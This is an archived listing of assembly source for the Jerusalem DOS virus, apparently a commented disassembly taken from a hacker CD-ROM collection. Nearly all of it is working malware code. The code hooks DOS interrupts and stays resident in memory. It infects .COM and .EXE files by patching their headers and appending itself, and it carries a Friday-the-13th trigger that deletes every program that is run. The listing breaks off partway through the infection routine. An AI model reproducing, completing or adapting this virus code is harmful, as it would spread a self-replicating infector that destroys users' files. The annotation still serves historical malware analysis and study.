home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / jerusale.asm < prev    next >
Assembly Source File  |  1995-01-03  |  39KB  |  892 lines

  1. CODE SEGMENT
  2. ;The following is a disassembled, structured and commented listing of the
  3. ;Jerusalem .COM and .EXE infector  virus.  All comments, structure inclusions
  4. ;
  5. ;              INTERPATH
  6. ;              4423 Cheeney Street
  7. ;              Santa Clara, CA 95054
  8.  
  9. ;-----------------------------------------------------------------------;
  10. ; THE "JERUSALEM" VIRUS                                                 ;
  11. ;-----------------------------------------------------------------------;
  12.                         ;
  13.     ORG  100H           ;
  14.                         ;
  15. ;-----------------------------------------------------------------------;
  16. ; JERUSALEM VIRUS                                ;
  17. ;-----------------------------------------------------------------------;
  18. BEGIN_COM:              ; COM FILES START HERE
  19.     JMP  CONTINUE       ;
  20.                         ;
  21. ;-----------------------------------------------------------------------;
  22. ;                                           ;
  23. ;-----------------------------------------------------------------------;
  24. A0103         DB      073H,055H
  25.  
  26. MS_DOS        DB   'MsDos'        ;
  27.  
  28.          DB   000H,001H,015H,018H
  29.  
  30. TIME_BOMB     DB   0         ;WHEN == 1 THIS FILE GETS DELETED!
  31.  
  32.          DB   000H
  33. A0010         DB   000H
  34.  
  35. A0011         DW   100H      ;HOST SIZE (BEFORE INFECTION)
  36.  
  37. OLD_08        DW   0FEA5H,0F000H  ;OLD INT 08H VECTOR (CLOCK TIC)
  38.  
  39. OLD_21        DW   1460H,024EH    ;OLD INT 21H VECTOR
  40. OLD_24        DW   0556H,16A5H    ;001B
  41.  
  42. A_FLAG        DW   7E48H          ;???
  43.  
  44. A0021         DB   000H,000H,000H,000H,000H,000H,000H
  45.          DB   000H,000H,000H,000H
  46.  
  47. A002C         DW   0         ;A SEGMENT
  48.  
  49.          DB   000H,000H
  50. A0030         DB   000H
  51.  
  52. A0031         DW   0178EH         ;OLD ES VALUE
  53.  
  54. A0033         DW   0080H          ;
  55.                         ;
  56. EXEC_BLOCK    DW   0         ;ENV. SEG. ADDRESS  ;0035
  57.          DW   80H       ;COMMAND LINE ADDRESS
  58.          DW   178EH          ;+4
  59.          DW   005CH          ;FCB #1 ADDRESS
  60.          DW   178EH          ;+8
  61.          DW   006CH          ;FCB #2 ADDRESS
  62.          DW   0178EH         ;+12
  63.                         ;
  64. HOST_SP       DW   0710H          ;(TAKEN FROM EXE HEADER) 0043
  65. HOST_SS       DW   347AH          ;(AT TIME OF INFECTION)
  66. HOST_IP       DW   00C5H          ;
  67. HOST_CS       DW   347AH          ;
  68. ;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
  69.                         ;
  70. A004B         DW   0F010H              ;
  71. A004D         DB   82H            ;
  72. A004E         DB   0              ;
  73.  
  74. EXE_HDR       DB   1CH DUP (?)         ;004F
  75.  
  76. A006B         DB   5 DUP (?)      ;LAST 5 BYTES OF HOST
  77.  
  78. HANDLE        DW   0005H               ;0070
  79. HOST_ATT DW   0020H               ;0072
  80. HOST_DATE     DW   0021H               ;0074
  81. HOST_TIME     DW   002DH               ;0076
  82.  
  83. BLOCK_SIZE    DW   512            ;512 BYTES/BLOCK
  84.  
  85. A007A         DW   0010H
  86.  
  87. HOST_SIZE     DW   27C0H,0001H         ;007C
  88. HOST_NAME     DW   41D9H,9B28H         ;POINTER TO HOST NAME
  89.  
  90. COMMAND_COM   DB   'COMMAND.COM'
  91.  
  92.          DB   1
  93. A0090         DB   0,0,0,0,0
  94.  
  95. ;-----------------------------------------------------------------------;
  96. ;                                           ;
  97. ;-----------------------------------------------------------------------;
  98. CONTINUE:                    ;
  99.     CLD                 ;
  100.     MOV  AH,0E0H             ;DO A ???...
  101.     INT  21H            ;
  102.                         ;
  103.     CMP  AH,0E0H             ;
  104.     JNC  L01B5               ;
  105.     CMP  AH,3           ;
  106.     JC   L01B5               ;
  107.                         ;
  108.     MOV  AH,0DDH             ;
  109.     MOV  DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
  110.     MOV  SI,0710H       ;SI = SIZE OF OUR (VIRUS) CODE
  111.     ADD  SI,DI               ;SI = BEGINNING OF HOST CODE
  112.     MOV  CX,CS:[DI+11H]      ;CX = (SIZE OF HOST CODE?)
  113.     INT  21H            ;
  114.                         ;
  115. L01B5:   MOV  AX,CS               ;TWEEK CODE SEGMENT BY 100H
  116.     ADD  AX,10H              ;
  117.     MOV  SS,AX               ;SS = TWEEKed CS
  118.     MOV  SP,700H             ;SP = END OF OUR CODE (VIRUS)
  119.                         ;
  120. ;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
  121.                         ;
  122.     PUSH AX             ;JMP FAR CS+10H:IP-100H
  123.     MOV  AX,offset BEGIN_EXE - offset BEGIN_COM
  124.     PUSH AX             ;
  125.     RETF                ;
  126.                         ;
  127. ;---------------------------------------;
  128.     ORG  0C5h           ;
  129. ;---------------------------------------;
  130.                         ;
  131. BEGIN_EXE:                   ;EXE FILES START HERE
  132.     CLD                 ;
  133.     PUSH ES             ;
  134.                         ;
  135.     MOV  CS:[A0031],ES       ;
  136.     MOV  CS:[EXEC_BLOCK+4],ES     ;INIT EXEC_BLOCK SEG VALUES
  137.     MOV  CS:[EXEC_BLOCK+8],ES     ;
  138.     MOV  CS:[EXEC_BLOCK+12],ES    ;
  139.                         ;
  140.     MOV  AX,ES               ;TWEEK ES SAME AS CS ABOVE
  141.     ADD  AX,10H              ;
  142.     ADD  CS:[HOST_CS],AX          ;   SAVE NEW ES VALUE
  143.     ADD  CS:[HOST_SS],AX          ;
  144.                         ;
  145.     MOV  AH,0E0H             ;
  146.     INT  21H            ;
  147.                         ;
  148.     CMP  AH,0E0H             ;
  149.     JNC  L0106               ;00F1     7313
  150.                         ;
  151.     CMP  AH,3           ;
  152.     POP  ES             ;00F6
  153.     MOV  SS,CS:[HOST_SS]          ;
  154.     MOV  SP,CS:[HOST_SP]          ;
  155.     JMP  far CS:[HSOT_IP]    ;
  156.                         ;
  157. L0106:   XOR  AX,AX               ;0106     33C0
  158.     MOV  ES,AX               ;0108     8EC0
  159.     MOV  AX,ES:[03FC]        ;010A     26A1FC03
  160.     MOV  CS:[A004B],AX       ;010E     2EA34B00
  161.     MOV  AL,ES:[03FE]        ;0112     26A0FE03
  162.     MOV  CS:[A004D],AL       ;0116     2EA24D00
  163.     MOV  Word ptr ES:[03FC],A5F3  ;011A     26C706FC03F3A5
  164.     MOV  Byte ptr ES:[03FE],CB    ;0121     26C606FE03CB
  165.     POP  AX             ;0127     58
  166.     ADD  AX,10H              ;0128     051000
  167.     MOV  ES,AX               ;012B     8EC0
  168.     PUSH CS             ;012D     0E
  169.     POP  DS             ;012E     1F
  170.     MOV  CX,710H             ;SIZE OF VIRUS CODE
  171.     SHR  CX,1           ;0132     D1E9
  172.     XOR  SI,SI               ;0134     33F6
  173.     MOV  DI,SI               ;0136     8BFE
  174.     PUSH ES             ;0138     06
  175.     MOV  AX,0142             ;0139     B84201
  176.     PUSH AX             ;013C     50
  177.     JMP  0000:03FC      ;013D     EAFC030000
  178.                         ;
  179.     MOV  AX,CS               ;0142     8CC8
  180.     MOV  SS,AX               ;0144     8ED0
  181.     MOV  SP,700H             ;0146     BC0007
  182.     XOR  AX,AX               ;0149     33C0
  183.     MOV  DS,AX               ;014B     8ED8
  184.     MOV  AX,CS:[A004B]       ;014D     2EA14B00
  185.     MOV  [03FC],AX      ;0151     A3FC03
  186.     MOV  AL,CS:[A004D]       ;0154     2EA04D00
  187.     MOV  [03FE],AL      ;0158     A2FE03
  188.     MOV  BX,SP               ;015B     8BDC
  189.     MOV  CL,04               ;015D     B104
  190.     SHR  BX,CL               ;015F     D3EB
  191.     ADD  BX,+10              ;0161     83C310
  192.     MOV  CS:[A0033],BX       ;
  193.                         ;
  194.     MOV  AH,4AH              ;
  195.     MOV  ES,CS:[A0031]       ;
  196.     INT  21H            ;MODIFY ALLOCATED MEMORY BLOCKS
  197.                         ;
  198.     MOV  AX,3521             ;
  199.     INT  21H            ;GET VECTOR
  200.     MOV  CS:[OLD_21],BX      ;
  201.     MOV  CS:[OLD_21+2],ES    ;
  202.                         ;
  203.     PUSH CS             ;0181     0E
  204.     POP  DS             ;0182     1F
  205.     MOV  DX,offset NEW_INT_21     ;0183     BA5B02
  206.     MOV  AX,2521             ;
  207.     INT  21H            ;SAVE VECTOR
  208.                         ;
  209.     MOV  ES,[A0031]          ;018B     8E063100
  210.     MOV  ES,ES:[A002C]       ;018F     268E062C00
  211.     XOR  DI,DI               ;0194     33FF
  212.     MOV  CX,7FFFH       ;0196     B9FF7F
  213.     XOR  AL,AL               ;0199     32C0
  214.     REPNE     SCASB               ;019C     AE
  215.     CMP  ES:[DI],AL          ;019D     263805
  216.     LOOPNZ    019B           ;01A0     E0F9
  217.     MOV  DX,DI               ;01A2     8BD7
  218.     ADD  DX,+03              ;01A4     83C203
  219.     MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
  220.     PUSH ES             ;
  221.     POP  DS             ;
  222.     PUSH CS             ;
  223.     POP  ES             ;
  224.     MOV  BX,35H              ;
  225.                         ;
  226.     PUSH DS        ;01B1     ;
  227.     PUSH ES             ;
  228.     PUSH AX             ;
  229.     PUSH BX             ;
  230.     PUSH CX             ;
  231.     PUSH DX             ;
  232.                         ;
  233.     MOV  AH,2AH              ;
  234.     INT  21H            ;GET DATE
  235.                         ;
  236.     MOV  Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
  237.                         ;
  238.     CMP  CX,1987             ;IF 1987...
  239.     JE   L01F7               ;...JUMP
  240.     CMP  AL,5           ;IF NOT FRIDAY...
  241.     JNE  L01D8               ;...JUMP
  242.     CMP  DL,0DH              ;IF DATE IS NOT THE 13th...
  243.     JNE  L01D8               ;...JUMP
  244.     INC  Byte ptr CS:[TIME_BOMB]  ;TIC THE BOMB COUNT
  245.     JMP  L01F7               ;
  246.                         ;
  247. L01D8:   MOV  AX,3508H       ;GET CLOCK TIMER VECTOR
  248.     INT  21H            ;GET VECTOR
  249.     MOV  CS:[OLD_08],BX      ;
  250.     MOV  CS:[OLD_08],ES      ;
  251.                         ;
  252.     PUSH CS             ;DS=CS
  253.     POP  DS             ;
  254.                         ;
  255.     MOV  Word ptr [A_FLAG],7E90H  ;
  256.                         ;
  257.     MOV  AX,2508H       ;SET NEW CLOCK TIC HANDLER
  258.     MOV  DX,offset NEW_08    ;
  259.     INT  21H            ;SET VECTOR
  260.                         ;
  261. L01F7:   POP  DX             ;
  262.     POP  CX             ;
  263.     POP  BX             ;
  264.     POP  AX             ;
  265.     POP  ES             ;
  266.     POP  DS             ;
  267.     PUSHF                    ;
  268.     CALL far CS:[OLD_21]     ;
  269.     PUSH DS             ;
  270.     POP  ES             ;
  271.                         ;
  272.     MOV  AH,49H              ;
  273.     INT  21H            ;FREE ALLOCATED MEMORY
  274.                         ;
  275.     MOV  AH,4DH              ;
  276.     INT  21H            ;GET RETURN CODE OF A SUBPROCESS
  277.                         ;
  278. ;---------------------------------------;
  279. ; THIS IS WHERE WE REMAIN RESIDENT     ;
  280. ;---------------------------------------;
  281.     MOV  AH,31H              ;
  282.     MOV  DX,0600H  ;020F     ;
  283.     MOV  CL,04               ;
  284.     SHR  DX,CL               ;
  285.     ADD  DX,10H              ;
  286.     INT  21H            ;TERMINATE AND REMAIN RESIDENT
  287.                         ;
  288. ;---------------------------------------;
  289. NEW_24:  XOR  AL,AL          ;021B     ;CRITICAL ERROR HANDLER
  290.     IRET                ;
  291.                         ;
  292. ;-----------------------------------------------------------------------;
  293. ; NEW INTERRUPT 08 (CLOCK TIC) HANDLER                     ;
  294. ;-----------------------------------------------------------------------;
  295. NEW_08:  CMP  Word ptr CS:[A_FLAG],2   ;021E
  296.     JNE  N08_10              ;IF ... JUMP
  297.                         ;
  298.     PUSH AX             ;
  299.     PUSH BX             ;
  300.     PUSH CX             ;
  301.     PUSH DX             ;
  302.     PUSH BP             ;
  303.     MOV  AX,0602H       ;SCROLL UP TWO LINES
  304.     MOV  BH,87H              ;INVERSE VIDEO ATTRIBUTE
  305.     MOV  CX,0505H       ;UPPER LEFT CORNER
  306.     MOV  DX,1010H       ;LOWER RIGHT CORNER
  307.     INT  10H            ;
  308.     POP  BP             ;
  309.     POP  DX             ;
  310.     POP  CX             ;
  311.     POP  BX             ;
  312.     POP  AX             ;
  313.                         ;
  314. N08_10:  DEC  Word ptr CS:[A_FLAG]     ;ASSURE THAT THIS ONLY HAPPENS ONCE
  315.     JNZ  N08_90              ;   BY RESETTING TO 1 IF EQUAL TO ZERO
  316.     MOV  Word ptr CS:[A_FLAG],1   ;
  317.                         ;
  318.     PUSH AX             ;????? IS THIS SOME KIND OF DELAY ?????
  319.     PUSH CX             ;*** COMMENTS SOLICITED ****
  320.     PUSH SI             ;
  321.     MOV  CX,4001H       ;
  322.     REP  LODSB               ;
  323.     POP  SI             ;
  324.     POP  CX             ;
  325.     POP  AX             ;
  326.                         ;
  327. N08_90:  JMP  far CS:[OLD_08]          ;PASS CONTROL TO OLD INT 08 VECTOR
  328.                         ;
  329. ;-----------------------------------------------------------------------;
  330. ; NEW INTERRUPT 21 HANDLER                            ;
  331. ;-----------------------------------------------------------------------;
  332. NEW_21:  PUSHF               ;025B     ;
  333.     CMP  AH,0E0H             ;IF A E0 REQUEST...
  334.     JNE  N21_10              ;
  335.     MOV  AX,300H             ;...RETURN AX = 300H
  336.     POPF                ;   (OUR PUSHF)
  337.     IRET                ;
  338.                         ;
  339. N21_10:  CMP  AH,0DDH        ;0266     ;
  340.     JE   N21_30              ;IF DDH...JUMP TO _30
  341.     CMP  AH,0DEH             ;
  342.     JE   N21_40              ;IF DEH...JUMP TO _40
  343.     CMP  AX,4B00H       ;IF SPAWN A PROG...
  344.     JNE  N21_20              ;
  345.     JMP  N21_50              ;...JUMP TO _50
  346.                         ;
  347. N21_20:  POPF                ;   (OUR PUSHF)
  348.     JMP  far CS:[OLD_21]          ;ANY OTHER INT 21 GOES TO OLD VECTOR
  349.                         ;
  350. N21_30:  POP  AX             ;REMOVE OUR (PUSHF)
  351.     POP  AX             ;?
  352.     MOV  AX,100H             ;
  353.     MOV  CS:[000A],AX        ;
  354.     POP  AX             ;
  355.     MOV  CS:[000C],AX        ;
  356.     REP  MOVSB               ;
  357.     POPF                ;   (OUR PUSHF)
  358.     MOV  AX,CS:[000F]        ;
  359.     JMP  far CS:[000A]       ;
  360.                         ;
  361. N21_40:  ADD  SP,+06         ;0298     ;
  362.     POPF                ;   (OUR PUSHF)
  363.     MOV  AX,CS               ;
  364.     MOV  SS,AX               ;
  365.     MOV  SP,710H             ;SIZE OF VIRUS CODE
  366.     PUSH ES             ;
  367.     PUSH ES             ;02A4     06
  368.     XOR  DI,DI               ;02A5     33FF
  369.     PUSH CS             ;02A7     0E
  370.     POP  ES             ;02A8     07
  371.     MOV  CX,0010             ;02A9     B91000
  372.     MOV  SI,BX               ;02AC     8BF3
  373.     MOV  DI,0021             ;02AE     BF2100
  374.     REP  MOVSB               ;02B2     A4
  375.     MOV  AX,DS               ;02B3     8CD8
  376.     MOV  ES,AX               ;02B5     8EC0
  377.     MUL  Word ptr CS:[A007A] ;02B7     2EF7267A00
  378.     ADD  AX,CS:[002B]        ;02BC     2E03062B00
  379.     ADC  DX,+00              ;02C1     83D200
  380.     DIV  Word ptr CS:[A007A] ;02C4     2EF7367A00
  381.     MOV  DS,AX               ;02C9     8ED8
  382.     MOV  SI,DX               ;02CB     8BF2
  383.     MOV  DI,DX               ;02CD     8BFA
  384.     MOV  BP,ES               ;02CF     8CC5
  385.     MOV  BX,CS:[002F]        ;02D1     2E8B1E2F00
  386.     OR   BX,BX               ;02D6     0BDB
  387.     JE   02ED           ;02D8     7413
  388.     MOV  CX,8000             ;02DA     B90080
  389.     REP  MOVSW               ;02DE     A5
  390.     ADD  AX,1000             ;02DF     050010
  391.     ADD  BP,1000             ;02E2     81C50010
  392.     MOV  DS,AX               ;02E6     8ED8
  393.     MOV  ES,BP               ;02E8     8EC5
  394.     DEC  BX             ;02EA     4B
  395.     JNE  02DA           ;02EB     75ED
  396.     MOV  CX,CS:[002D]        ;02ED     2E8B0E2D00
  397.     REP  MOVSB               ;02F3     A4
  398.     POP  AX             ;02F4     58
  399.     PUSH AX             ;02F5     50
  400.     ADD  AX,0010             ;02F6     051000
  401.     ADD  CS:[0029],AX        ;02F9     2E01062900
  402.     ADD  CS:[0025],AX        ;02FE     2E01062500
  403.     MOV  AX,CS:[0021]        ;0303     2EA12100
  404.     POP  DS             ;0307     1F
  405.     POP  ES             ;0308     07
  406.     MOV  SS,CS:[0029]        ;0309     2E8E162900
  407.     MOV  SP,CS:[0027]        ;030E     2E8B262700
  408.     JMP  far CS:[0023]       ;0313     2EFF2E2300
  409.                         ;
  410. ;---------------------------------------;
  411. ; IT IS TIME FOR THIS FILE TO DIE...   ;
  412. ; THIS IS WHERE IT GETS DELETED ! ;
  413. ;---------------------------------------;
  414. N21_5A:  XOR  CX,CX               ;
  415.     MOV  AX,4301H       ;
  416.     INT  21H            ;CHANGE FILE MODE (ATT=0)
  417.                         ;
  418.     MOV  AH,41H              ;
  419.     INT  21H            ;DELETE A FILE
  420.                         ;
  421.     MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
  422.     POPF                ;   (OUR PUSHF)
  423.     JMP  far CS:[OLD_21]          ;
  424.                         ;
  425. ;---------------------------------------;
  426. ; START INFECTION            ;
  427. ;---------------------------------------;
  428. N21_50:  CMP  Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
  429.     JE   N21_5A              ;...JUMP
  430.                         ;
  431.     MOV  Word ptr CS:[HANDLE],-1  ;ASSUME NOT OPEN
  432.     MOV  Word ptr CS:[A008F],0    ;
  433.     MOV  word ptr CS:[HOST_NAME],DX   ;SAVE POINTER TO FILE NAME
  434.     MOV  word ptr CS:[HOST_NAME+2],DS ;
  435.                         ;
  436. ;INFECTION PROCESS OCCURS HERE    ;
  437.     PUSH AX             ;034C     50
  438.     PUSH BX             ;034D     53
  439.     PUSH CX             ;034E     51
  440.     PUSH DX             ;034F     52
  441.     PUSH SI             ;0350     56
  442.     PUSH DI             ;0351     57
  443.     PUSH DS             ;0352     1E
  444.     PUSH ES             ;0353     06
  445.     CLD                 ;0354     FC
  446.     MOV  DI,DX               ;0355     8BFA
  447.     XOR  DL,DL               ;0357     32D2
  448.     CMP  Byte ptr [DI+01],3A ;0359     807D013A
  449.     JNE  L0364               ;035D     7505
  450.     MOV  DL,[DI]             ;035F     8A15
  451.     AND  DL,1F               ;0361     80E21F
  452.                         ;
  453. L0364:   MOV  AH,36               ;
  454.     INT  21H            ;GET DISK FREE SPACE
  455.     CMP  AX,-1               ;0368     3DFFFF
  456.     JNE  L0370               ;036B     7503
  457. L036D:   JMP  I_90           ;036D     E97702
  458.                         ;
  459. L0370:   MUL  BX             ;0370     F7E3
  460.     MUL  CX             ;0372     F7E1
  461.     OR   DX,DX               ;0374     0BD2
  462.     JNE  L037D               ;0376     7505
  463.     CMP  AX,710H             ;0378     3D1007
  464.     JC   L036D               ;037B     72F0
  465. L037D:   MOV  DX,word ptr CS:[HOST_NAME]
  466.     PUSH DS             ;0382     1E
  467.     POP  ES             ;0383     07
  468.     XOR  AL,AL               ;0384     32C0
  469.     MOV  CX,41               ;0386     B94100
  470.     REPNE     SCASB               ;038A     AE
  471.     MOV  SI,word ptr CS:[HOST_NAME]
  472. L0390:   MOV  AL,[SI]             ;0390     8A04
  473.     OR   AL,AL               ;0392     0AC0
  474.     JE   L03A4               ;0394     740E
  475.     CMP  AL,61               ;0396     3C61
  476.     JC   L03A1               ;0398     7207
  477.     CMP  AL,7A               ;039A     3C7A
  478.     JA   L03A1               ;039C     7703
  479.     SUB  Byte ptr [SI],20    ;039E     802C20
  480. L03A1:   INC  SI             ;03A1     46
  481.     JMP  L0390               ;03A2     EBEC
  482.                         ;
  483. L03A4:   MOV  CX,000B             ;03A4     B90B00
  484.     SUB  SI,CX               ;03A7     2BF1
  485.     MOV  DI,offset COMMAND_COM    ;03A9     BF8400
  486.     PUSH CS             ;03AC     0E
  487.     POP  ES             ;03AD     07
  488.     MOV  CX,000B             ;03AE     B90B00
  489.     REPE CMPSB               ;03B2     A6
  490.     JNE  L03B8               ;03B3     7503
  491.     JMP  I_90           ;03B5     E92F02
  492.                         ;
  493. L03B8:   MOV  AX,4300H       ;
  494.     INT  21H            ;CHANGE FILE MODE
  495.     JC   L03C4               ;03BD     7205
  496.                         ;
  497.     MOV  CS:[HOST_ATT],CX    ;03BF     ;
  498. L03C4:   JC   L03EB               ;03C4     7225
  499.     XOR  AL,AL               ;03C6     32C0
  500.     MOV  CS:[A004E],AL       ;03C8     2EA24E00
  501.     PUSH DS             ;03CC     1E
  502.     POP  ES             ;03CD     07
  503.     MOV  DI,DX               ;03CE     8BFA
  504.     MOV  CX,41               ;03D0     B94100
  505.     REPNZ     SCASB               ;03D4     AE
  506.     CMP  Byte ptr [DI-02],4D ;03D5     807DFE4D
  507.     JE   L03E6               ;03D9     740B
  508.     CMP  Byte ptr [DI-02],6D ;03DB     807DFE6D
  509.     JE   L03E6               ;03DF     7405
  510.     INC  Byte ptr CS:[A004E] ;03E1     2EFE064E00
  511.                         ;
  512. L03E6:   MOV  AX,3D00H       ;
  513.     INT  21H            ;OPEN FILE READ ONLY
  514. L03EB:   JC   L0447               ;
  515.     MOV  CS:[HANDLE],AX ;03ED     ;
  516.                         ;
  517.     MOV  BX,AX               ;MOVE TO END OF FILE -5
  518.     MOV  AX,4202             ;
  519.     MOV  CX,-1               ;FFFFFFFB
  520.     MOV  DX,-5               ;
  521.     INT  21H            ;MOVE FILE POINTER
  522.     JC   L03EB               ;
  523.                         ;
  524.     ADD  AX,5      ;0400     ;
  525.     MOV  CS:[A0011],AX       ;?SAVE HOST SIZE
  526.                         ;
  527.     MOV  CX,5      ;0407     ;READ LAST 5 BYTES OF HOST
  528.     MOV  DX,offset A006B          ;
  529.     MOV  AX,CS               ;
  530.     MOV  DS,AX               ;
  531.     MOV  ES,AX               ;
  532.     MOV  AH,3FH              ;
  533.     INT  21H            ;READ FROM A FILE
  534.                         ;
  535.     MOV  DI,DX          ;0417     ;CHECK IF LAST 5 BYTES = 'MsDos'
  536.     MOV  SI,offset MS_DOS    ;
  537.     REPE CMPSB               ;
  538.     JNE  L0427               ;
  539.     MOV  AH,3E               ;IF == 'MsDos'...
  540.     INT  21H            ;CLOSE FILE
  541.     JMP  I_90           ;...PASS CONTROL TO DOS
  542.                         ;
  543. L0427:   MOV  AX,3524             ;GET CRITICAL ERROR VECTOR
  544.     INT  21H            ;GET VECTOR
  545.     MOV  [OLD_24],BX         ;
  546.     MOV  [OLD_24+2],ES       ;
  547.                         ;
  548.     MOV  DX,offset NEW_24    ;
  549.     MOV  AX,2524             ;SET CRITICAL ERROR VECTOR
  550.     INT  21H            ;SET VECTOR
  551.                         ;
  552.     LDS  DX,dword ptr [HOST_NAME];
  553.     XOR  CX,CX               ;
  554.     MOV  AX,4301H       ;
  555.     INT  21H            ;CHANGE FILE MODE
  556. L0447:   JC   L0484               ;
  557.                         ;
  558.     MOV  BX,CS:[HANDLE]      ;
  559.     MOV  AH,3E               ;
  560.     INT  21H            ;CLOSE FILE
  561.                         ;
  562.     MOV  Word ptr CS:[HANDLE],-1  ;CLEAR HANDLE
  563.                         ;
  564.     MOV  AX,3D02             ;
  565.     INT  21H            ;OPEN FILE R/W
  566.     JC   L0484               ;
  567.                         ;
  568.     MOV  CS:[HANDLE],AX      ;0460     2EA37000
  569.     MOV  AX,CS               ;0464     8CC8
  570.     MOV  DS,AX               ;0466     8ED8
  571.     MOV  ES,AX               ;0468     8EC0
  572.     MOV  BX,[HANDLE]         ;046A     8B1E7000
  573.     MOV  AX,5700             ;046E     B80057
  574.     INT  21H            ;GET/SET FILE DATE TIME
  575.                         ;
  576.     MOV  [HOST_DATE],DX      ;0473     89167400
  577.     MOV  [HOST_TIME],CX      ;0477     890E7600
  578.     MOV  AX,4200             ;047B     B80042
  579.     XOR  CX,CX               ;047E     33C9
  580.     MOV  DX,CX               ;0480     8BD1
  581.     INT  21H            ;MOVE FILE POINTER
  582. L0484:   JC   L04C3               ;0484     723D
  583.                         ;
  584.     CMP  Byte ptr [A004E],00 ;0486     803E4E0000
  585.     JE   L0490               ;048B     7403
  586.     JMP  L04E6               ;048D     EB57
  587.                         ;
  588.     NOP                 ;048F     90
  589. L0490:   MOV  BX,1000             ;0490     BB0010
  590.     MOV  AH,48               ;0493     B448
  591.     INT  21H            ;ALLOCATE MEMORY
  592.     JNC  L04A4               ;0497     730B
  593.                         ;
  594.     MOV  AH,3E               ;0499     B43E
  595.     MOV  BX,[HANDLE]         ;049B     8B1E7000
  596.     INT  21H            ;CLOSE FILE (OBVIOUSLY)
  597.     JMP  I_90           ;04A1     E94301
  598.                         ;
  599. L04A4:   INC  Word ptr [A008F]    ;04A4     FF068F00
  600.     MOV  ES,AX               ;04A8     8EC0
  601.     XOR  SI,SI               ;04AA     33F6
  602.     MOV  DI,SI               ;04AC     8BFE
  603.     MOV  CX,710H             ;04AE     B91007
  604.     REP  MOVSB               ;04B2     A4
  605.     MOV  DX,DI               ;04B3     8BD7
  606.     MOV  CX,[A0011]          ;?GET HOST SIZE - YES
  607.     MOV  BX,[70H]       ;04B9     8B1E7000
  608.     PUSH ES             ;04BD     06
  609.     POP  DS             ;04BE     1F
  610.     MOV  AH,3FH              ;04BF     B43F
  611.     INT  21H            ;READ FROM A FILE
  612. L04C3:   JC   L04E1               ;04C3     721C
  613.                         ;
  614.     ADD  DI,CX               ;04C5     03F9
  615.                         ;
  616.     XOR  CX,CX               ;POINT TO BEGINNING OF FILE
  617.     MOV  DX,CX               ;
  618.     MOV  AX,4200H       ;
  619.     INT  21H            ;MOVE FILE POINTER
  620.                         ;
  621.     MOV  SI,offset MS_DOS    ;04D0     BE0500
  622.     MOV  CX,5           ;04D3     B90500
  623.     REP  CS:MOVSB       ;04D7     2EA4
  624.     MOV  CX,DI               ;04D9     8BCF
  625.     XOR  DX,DX               ;04DB     33D2
  626.     MOV  AH,40H              ;
  627.     INT  21H            ;WRITE TO A FILE
  628. L04E1:   JC   L04F0               ;
  629.     JMP  L05A2               ;
  630.                         ;
  631. ;---------------------------------------;
  632. ; READ EXE HEADER            ;
  633. ;---------------------------------------;
  634. L04E6:   MOV  CX,1CH              ;READ EXE HEADER INTO BUFFER
  635.     MOV  DX,offset EXE_HDR   ;
  636.     MOV  AH,3F               ;
  637.     INT  21H            ;READ FILE
  638.     JC   L053C               ;
  639.                         ;
  640. ;---------------------------------------;
  641. ; TWEEK EXE HEADER TO INFECTED HSOT    ;
  642. ;---------------------------------------;
  643.     MOV  Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
  644.     MOV  AX,[EXE_HDR+14]          ;   SS
  645.     MOV  [HOST_SS],AX        ;
  646.     MOV  AX,[EXE_HDR+16]          ;   SP
  647.     MOV  [HOST_SP],AX        ;
  648.     MOV  AX,[EXE_HDR+20]          ;   IP
  649.     MOV  [HOST_IP],AX        ;
  650.     MOV  AX,[EXE_HDR+22]          ;   CS
  651.     MOV  [HOST_CS],AX        ;
  652.     MOV  AX,[EXE_HDR+4]      ;   SIZE (IN 512 BLOCKS)
  653.     CMP  Word ptr [EXE_HDR+2],0   ;   SIZE MOD 512
  654.     JZ   L051B               ;IF FILE SIZE==0...JMP
  655.     DEC  AX             ;
  656. L051B:   MUL  Word ptr [BLOCK_SIZE]    ;
  657.     ADD  AX,[EXE_HDR+2]      ;
  658.     ADC  DX,0           ;AX NOW = FILE SIZE
  659.                         ;
  660.     ADD  AX,0FH              ;MAKE SURE FILE SIZE IS PARA. BOUND
  661.     ADC  DX,0           ;
  662.     AND  AX,0FFF0H      ;
  663.     MOV  [HOST_SIZE],AX      ;SAVE POINTER TO BEGINNING OF VIRUS
  664.     MOV  [HOST_SIZE+2],DX    ;
  665.                         ;
  666.     ADD  AX,710H             ;(SIZE OF VIRUS)
  667.     ADC  DX,0           ;
  668. L053C:   JC   L0578               ;IF > FFFFFFFF...JMP
  669.     DIV  Word ptr [BLOCK_SIZE]    ;
  670.     OR   DX,DX               ;
  671.     JE   L0547               ;
  672.     INC  AX             ;
  673. L0547:   MOV  [EXE_HDR+4],AX      ;
  674.     MOV  [EXE_HDR+2],DX      ;
  675.                         ;---------------;
  676.     MOV  AX,[HOST_SIZE]                ;DX:AX = HOST SIZE
  677.     MOV  DX,[HOST_SIZE+2]              ;
  678.     DIV  Word ptr [A007A]              ;
  679.     SUB  AX,[EXE_HEAD+8]                    ;SIZE OF EXE HDR
  680.     MOV  [EXE_HDR+22],AX                    ;VALUE OF CS
  681.     MOV  Word ptr [EXE_HDR+20],offset BEGIN_EXE  ;VALUE OF IP
  682.     MOV  [EXE_HDR+14],AX                    ;VALUE OF SS
  683.     MOV  Word ptr [EXE_HDR+16],710H         ;VALUE OF SP
  684.                         ;---------------;
  685.     XOR  CX,CX               ;POINT TO BEGINNING OF FILE (EXE HDR)
  686.     MOV  DX,CX               ;
  687.     MOV  AX,4200H       ;
  688.     INT  21H            ;MOVE FILE POINTER
  689. L0578:   JC   L0584               ;
  690.                         ;
  691. ;---------------------------------------;
  692. ; WRITE INFECTED EXE HEADER       ;
  693. ;---------------------------------------;
  694.     MOV  CX,1CH              ;
  695.     MOV  DX,offset EXE_HDR   ;
  696.     MOV  AH,40H              ;
  697.     INT  21H            ;WRITE TO A FILE
  698. L0584:   JC   L0597               ;
  699.     CMP  AX,CX               ;
  700.     JNE  L05A2               ;
  701.                         ;
